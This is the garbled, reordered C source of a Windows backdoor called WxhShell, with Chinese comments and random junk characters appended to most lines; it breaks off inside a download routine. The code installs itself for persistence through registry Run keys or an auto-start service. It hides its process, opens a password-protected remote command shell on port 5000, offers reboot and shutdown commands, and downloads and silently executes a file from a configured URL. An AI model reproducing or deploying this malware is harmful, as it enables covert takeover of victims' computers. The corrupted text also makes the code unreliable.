ULONG InheritedFromUniqueProcessId; cf\PG&S
} PROCESS_BASIC_INFORMATION;
Ltk'`
!+bLhW`
PROCNTQSIP NtQueryInformationProcess; m.:2G
h\qQ%|X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cu2eMUGt
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d}d1]@Y\
jV W .=FK
HANDLE hProcess; 1=U(ZX+u
PROCESS_BASIC_INFORMATION pbi; 5a8[0&hA 2
]IF
QD
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R\i8O^[
if(NULL == hInst ) return 0; s,z$Vt"h*K
^)i5.o\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A=N &(k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); He&7(mQ0^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4c})LAwd&
*:r6E
if (!NtQueryInformationProcess) return 0; ?WVp,vP
LUPh!)8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
_aJo7
if(!hProcess) return 0; Z~X \Z.
vw.rkAGY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oc|%|pmRd<
.$ o0$`}
CloseHandle(hProcess); %R?B=W7;Q
K[,d9j`^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *s=jKV#
if(hProcess==NULL) return 0; G
51l_
XIep3l*
HMODULE hMod; eT!*_.' e
char procName[255]; -'!K("
unsigned long cbNeeded; $m
hIXA.
AqqD!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); st7\k]J\
to2#PXf]y
CloseHandle(hProcess); N~=,RPjq
K^zu{`S
if(strstr(procName,"services")) return 1; // 以服务启动 i>*|k]
wSV}{9}wr%
return 0; // 注册表启动 /JcfAY
} ~8oti4
E*B6k!:
// 主模块 y3Z\ Y[
int StartWxhshell(LPSTR lpCmdLine) -(oFO'Lbg
{ 6np
SOCKET wsl; 9~rrN60Q
BOOL val=TRUE; ;nSOeAF)Q
int port=0; .
X:
struct sockaddr_in door; ]J '#KT{
%pJRu-D
if(wscfg.ws_autoins) Install(); W5)R{w0`GD
+VSq [P
port=atoi(lpCmdLine); {M_*hR;lL
13JZ\`ceb
if(port<=0) port=wscfg.ws_port; *ku}.n
{s{bnU
WSADATA data; _ArN[]Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x$SxGc~4gb
<<SUIY@X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vC
[uEx:
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
S6d&w6
door.sin_family = AF_INET; qOqU
CRUe:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xn%ty@8
door.sin_port = htons(port); dvc=<!"'S
#9/^)^k
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7]8nW!h;
closesocket(wsl); Y3 V9
return 1; 7u=R5
} fO UW{s
-qJ%31Mr#
if(listen(wsl,2) == INVALID_SOCKET) { TXWYQ~]3w
closesocket(wsl); mVs<XnA47
return 1; &i5MRw_]]
} sw\O\%^
Wxhshell(wsl); u3k{s
WSACleanup(); W"meH~[Cp
xwJ.cy
return 0; `;c{E%qeq
2=%R>&]*
} )IFFtU~,
au;ZAXM|
// 以NT服务方式启动 (DnrJ.QU}t
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VpO+52&
{ ! N!A%
DWORD status = 0; j3Yz=bsQ{c
DWORD specificError = 0xfffffff; O{{\jn|lR
b%TLvV 9F
serviceStatus.dwServiceType = SERVICE_WIN32; svWQk9d
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %7wNS
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9j8<Fs0M
serviceStatus.dwWin32ExitCode = 0; n5U-D0/Q
serviceStatus.dwServiceSpecificExitCode = 0; !7>~=n_,L.
serviceStatus.dwCheckPoint = 0; +EOd9.X\~
serviceStatus.dwWaitHint = 0; RG8Ek"D@
\'Z^rjB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Q(R#$)5+
if (hServiceStatusHandle==0) return; X~VJO|k pz
n#
4e1n+I
status = GetLastError(); `Ei:Z%@7C
if (status!=NO_ERROR) - %'ys
{ F8pP(Wl
serviceStatus.dwCurrentState = SERVICE_STOPPED; .l:x!
serviceStatus.dwCheckPoint = 0; 45(n!"u65
serviceStatus.dwWaitHint = 0; +?%LX4Y
serviceStatus.dwWin32ExitCode = status; [h0.k"&[
serviceStatus.dwServiceSpecificExitCode = specificError; Pw|J([
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GE!fh1[[u
return; 9`FPV`/
} t,IQ|B&0
Tya[6b!8
serviceStatus.dwCurrentState = SERVICE_RUNNING; XIRvIwO
serviceStatus.dwCheckPoint = 0; mzbMX
<
serviceStatus.dwWaitHint = 0; K9=f`JI9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); INF}~DN]
} _qp^+
VSDG_:!K
// 处理NT服务事件,比如:启动、停止 JBMJR
VOID WINAPI NTServiceHandler(DWORD fdwControl) "V3f"J?
{ wgcKeTD9
switch(fdwControl) &57s//PrX
{ ]b&O#D9
case SERVICE_CONTROL_STOP: #HyE-|_C
serviceStatus.dwWin32ExitCode = 0; ;Ob`B@!=b
serviceStatus.dwCurrentState = SERVICE_STOPPED; qZB}}pM#
serviceStatus.dwCheckPoint = 0; grZ?F~P8
serviceStatus.dwWaitHint = 0; *t_JR
{ :(TOtrK@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZQN%!2
} p->b Vt
return; +'ADN!(B_
case SERVICE_CONTROL_PAUSE: \2OjIEQQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9>!B .Z?!#
break; )+dd
case SERVICE_CONTROL_CONTINUE: ud$*/ )/
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ \o
hH
break; l|"SM6
case SERVICE_CONTROL_INTERROGATE: e .(
break; iji2gWV}h
}; TO]7 %aB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9~|hGo
} PCX X[N
h7
c
// 标准应用程序主函数 E,gpi
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bxf]Lu,\U@
{ v[!ZRwk4w3
Xo/0lT
// 获取操作系统版本 'FC#O%l
OsIsNt=GetOsVer(); }~+_|
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uy;e5<<
U%4s@{7
// 从命令行安装 ATkx_1]KM-
if(strpbrk(lpCmdLine,"iI")) Install(); )9~-^V0A^>
%"=qdBuk
// 下载执行文件 vE$n0bL2
if(wscfg.ws_downexe) { >pj)va[Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <F&53N&Zc
WinExec(wscfg.ws_filenam,SW_HIDE); R.)w
l
} met`f0jw
Y<)9TU:D!
if(!OsIsNt) { rZkl0Y;n\
// 如果时win9x,隐藏进程并且设置为注册表启动 5hg
^K^ZZ
HideProc(); ,cwjieM
StartWxhshell(lpCmdLine); BW5! @D2
} 1 R,?kUa
else %O02xr=
if(StartFromService()) o?((FW5.;
// 以服务方式启动 <:!;79T\
StartServiceCtrlDispatcher(DispatchTable); ODyKS;
else t<H@c9{;*
// 普通方式启动 DEN (pA\
StartWxhshell(lpCmdLine); ^hyp}WN
jrLV \(p
return 0; ^#p+#_*V
} K<~J*k<v
^/:G`'
4Tn97G7
?7cT$/4
=========================================== R|JBzdK+P
;Vlt4,s)
XFJz\'{
+xojnv
7Ug^aA
dW} m44X
"
y8/+kn +
g>;u} +lO
#include <stdio.h> Nny#}k
Bt
#include <string.h> i_ z4;%#?
#include <windows.h> 2e*"<>aeq
#include <winsock2.h> oQ/ Dg+Xp
#include <winsvc.h> 7CV}QV}G
#include <urlmon.h> S0jYk (
qN@0k>11?
#pragma comment (lib, "Ws2_32.lib") p{W'[A{J .
#pragma comment (lib, "urlmon.lib") `HV~.C
1azj%WY
#define MAX_USER 100 // 最大客户端连接数 Gcp!"y=i
#define BUF_SOCK 200 // sock buffer :7DXLI|L#?
#define KEY_BUFF 255 // 输入 buffer CoTe$C7
| \6Ff/O
#define REBOOT 0 // 重启 DQyy">]Mh
#define SHUTDOWN 1 // 关机 mm9xO%
E`gUNAKQ
#define DEF_PORT 5000 // 监听端口 1#
;`1i
a@s@E
#define REG_LEN 16 // 注册表键长度 gf^XqTLs
#define SVC_LEN 80 // NT服务名长度 "|6763.{4
{L.=)zt>
// 从dll定义API Ers8J V
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G{ 4lgkyy
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7>!Rg~M
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3R)_'!R[B
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L1u(\zw
?CO..l
// wxhshell配置信息 ; wKsi_``@
struct WSCFG { Z;[f,Oj
int ws_port; // 监听端口 =VvQ2Y0h8
char ws_passstr[REG_LEN]; // 口令 Kp?j\67S
int ws_autoins; // 安装标记, 1=yes 0=no G*'1[Bu
char ws_regname[REG_LEN]; // 注册表键名 tL}_kK_!
char ws_svcname[REG_LEN]; // 服务名 TM<;Nj[*n
char ws_svcdisp[SVC_LEN]; // 服务显示名 *e%(J$t
char ws_svcdesc[SVC_LEN]; // 服务描述信息 i27KuPjC
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hjx=?
int ws_downexe; // 下载执行标记, 1=yes 0=no T)tf!v3v
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K</="3
HK
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b|E1>TkY
*7UDTgY
}; -I*NS6
% h"%G=:
// default Wxhshell configuration Y2>0Y3yM
struct WSCFG wscfg={DEF_PORT, e%EE|
"xuhuanlingzhe", IZ3e:
1, zelM}/d
"Wxhshell", _(0GAz%9
"Wxhshell", vuO~^N]G
"WxhShell Service", =5u;\b>*
"Wrsky Windows CmdShell Service", (8jQdbZU
"Please Input Your Password: ", q~G@S2=}0}
1, 1rGi"kdf
"http://www.wrsky.com/wxhshell.exe", %IHra6
"Wxhshell.exe" 3U&rK)F
}; m 7/b.B}
^;mnP=`l[
// 消息定义模块 1qd(3A41
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xY$@^(Q\
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zt"3g6S
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YT\.${N
char *msg_ws_ext="\n\rExit."; r"W,G/;h
char *msg_ws_end="\n\rQuit."; aa,^+^J
char *msg_ws_boot="\n\rReboot..."; dO|n[/qL0
char *msg_ws_poff="\n\rShutdown..."; >v1ajI>O&{
char *msg_ws_down="\n\rSave to "; idSc#n22
;`:A(yN]T
char *msg_ws_err="\n\rErr!"; t:yJ~En]=
char *msg_ws_ok="\n\rOK!"; tq&CJvJ4
A_}6J,*u
char ExeFile[MAX_PATH]; 0S$6j-"
int nUser = 0; Y JMaIFt
HANDLE handles[MAX_USER]; R(W}..U0R"
int OsIsNt; -,^Z5N#\|
$@@@</VbP
SERVICE_STATUS serviceStatus; -cL wjI
SERVICE_STATUS_HANDLE hServiceStatusHandle; |[/'W7TV%?
r9!,cs
// 函数声明 <)VNEy'
int Install(void); vCsJnKqK
int Uninstall(void); IXof-I%8
int DownloadFile(char *sURL, SOCKET wsh); @lTd,V5f
int Boot(int flag); jV~+=(w)
void HideProc(void); bm#/ KT_8
int GetOsVer(void); `&5_~4T7
int Wxhshell(SOCKET wsl); <-O^ol,fX
void TalkWithClient(void *cs); eg(1kDMpn
int CmdShell(SOCKET sock); <jIuVX
int StartFromService(void); {^_K
int StartWxhshell(LPSTR lpCmdLine); NkY7Hg0
B> V)6\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w*krPaT3
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N`rz>6,k1
0W!S.]^1
// 数据结构和表定义 $i"IOp
SERVICE_TABLE_ENTRY DispatchTable[] = h}yfL@
{ ;I!Vba
{wscfg.ws_svcname, NTServiceMain}, Cm~z0c|T
{NULL, NULL} 9Je+|+s]
}; zx`(ojfu
6![}Jvu>
// 自我安装 QM4O|x[
int Install(void) @nxpcHj
{ [VY265)g
char svExeFile[MAX_PATH]; !1[ZfTX^a
HKEY key; U}^`R,C
strcpy(svExeFile,ExeFile); w'zSV1
EKf! j3
// 如果是win9x系统,修改注册表设为自启动 CQ/ps,~M
if(!OsIsNt) { %{ +>\0x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `IH*~d]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d0}P
RegCloseKey(key); ak$D1#hY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /5"RedP<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NXSjN~aG2
RegCloseKey(key);
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return 0; MD>xRs
} 'l6SL-
<
} z\c$$+t
} VJOB+CKE
else { gaU1A"S}
}-T
:
// 如果是NT以上系统,安装为系统服务 CC|=$(PgT
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (\M+E
tU<9
if (schSCManager!=0) R7 ^f|/l
{ u
-A_l<K
SC_HANDLE schService = CreateService wrAcVR
( P`OZoI$bV
schSCManager, K?eY<L
wscfg.ws_svcname, L)9uBdF
wscfg.ws_svcdisp, ((T6z$:hA
SERVICE_ALL_ACCESS, bEli!N$
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #@}wl
SERVICE_AUTO_START, \vF*n Z5/
SERVICE_ERROR_NORMAL, kWbD?i-
svExeFile, )W |_f
NULL, _FP'SVa}D
NULL, Eu`K2_b
NULL, p61F@=EL
NULL, @f`s%o
NULL iG+=whvL
); 2}U:6w
if (schService!=0) L^e%oQ>s
{ k@^T<Ci
CloseServiceHandle(schService); Oz-@e%8L
CloseServiceHandle(schSCManager); j71RlS73
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gIY]hC.
strcat(svExeFile,wscfg.ws_svcname); 8DcIM(;Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _`+2e-
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A75z/O{
RegCloseKey(key); a}V<CBi
return 0; x/uC)xm
} O]80";Uv
} $aDkZj
CloseServiceHandle(schSCManager); y4Lh:;
} tG*HUN?*
} bj7r"_
~=gpn|@b
return 1; g96]>]A<{
} F&$~]R=&
/TY=ig1z
// 自我卸载 x bD]EC
int Uninstall(void) DvY)n<U1qA
{ hGbSN_F
HKEY key; G!E1N(%o
,$bK)|pGV
if(!OsIsNt) { q" @%W K
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SY$%)(c8kL
RegDeleteValue(key,wscfg.ws_regname); %OJq( }
RegCloseKey(key); MQq!<?/
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 sK\.yS
RegDeleteValue(key,wscfg.ws_regname); <8BNqbX
RegCloseKey(key); DsH#?h<-o
return 0; CtE <9?
}
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} Vw+RRi(
} +k\cmDcb
else { fF.sT7Az+
+l;A L5h
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b] ~
if (schSCManager!=0) ?<U">8cP
{ S^_F0</U,
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @waY+sqt=
if (schService!=0) S=qx,<J
39
{ 2>/}-a
if(DeleteService(schService)!=0) { QSyPtjg]
CloseServiceHandle(schService); iyP0;$
CloseServiceHandle(schSCManager); kerBy\^
return 0; Ny
G?^
} $PFE>=nM
CloseServiceHandle(schService); S3ZIC\2
} wW|[Im&
CloseServiceHandle(schSCManager); +Sak_*fq
} cBQ+`DXn5c
} w3jcit|
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return 1; l09DH+
} i/RA/q
Xp0S
// 从指定url下载文件 6-QcHJ>m6U
int DownloadFile(char *sURL, SOCKET wsh) r=S,/N(1
{ g)nT]+&
HRESULT hr;
,P^4??' o
char seps[]= "/"; r>g5_"FL
char *token; U
U@
char *file; Y?\PU{O
char myURL[MAX_PATH]; UnOcw
char myFILE[MAX_PATH]; K[l5=)G0L
MY l9 &8
strcpy(myURL,sURL); I}u&iV`
token=strtok(myURL,seps); qkBCI,X_Y
while(token!=NULL) ?[2>x{5Z
{ uA~?z:~=
file=token; =h|xlT
token=strtok(NULL,seps); jbp?6GW
} gm=LM=
G(gZL%M6
GetCurrentDirectory(MAX_PATH,myFILE); ;@H:+R+(
strcat(myFILE, "\\"); c{[ lT2yxU
strcat(myFILE, file); 75eZhs[b
send(wsh,myFILE,strlen(myFILE),0); F<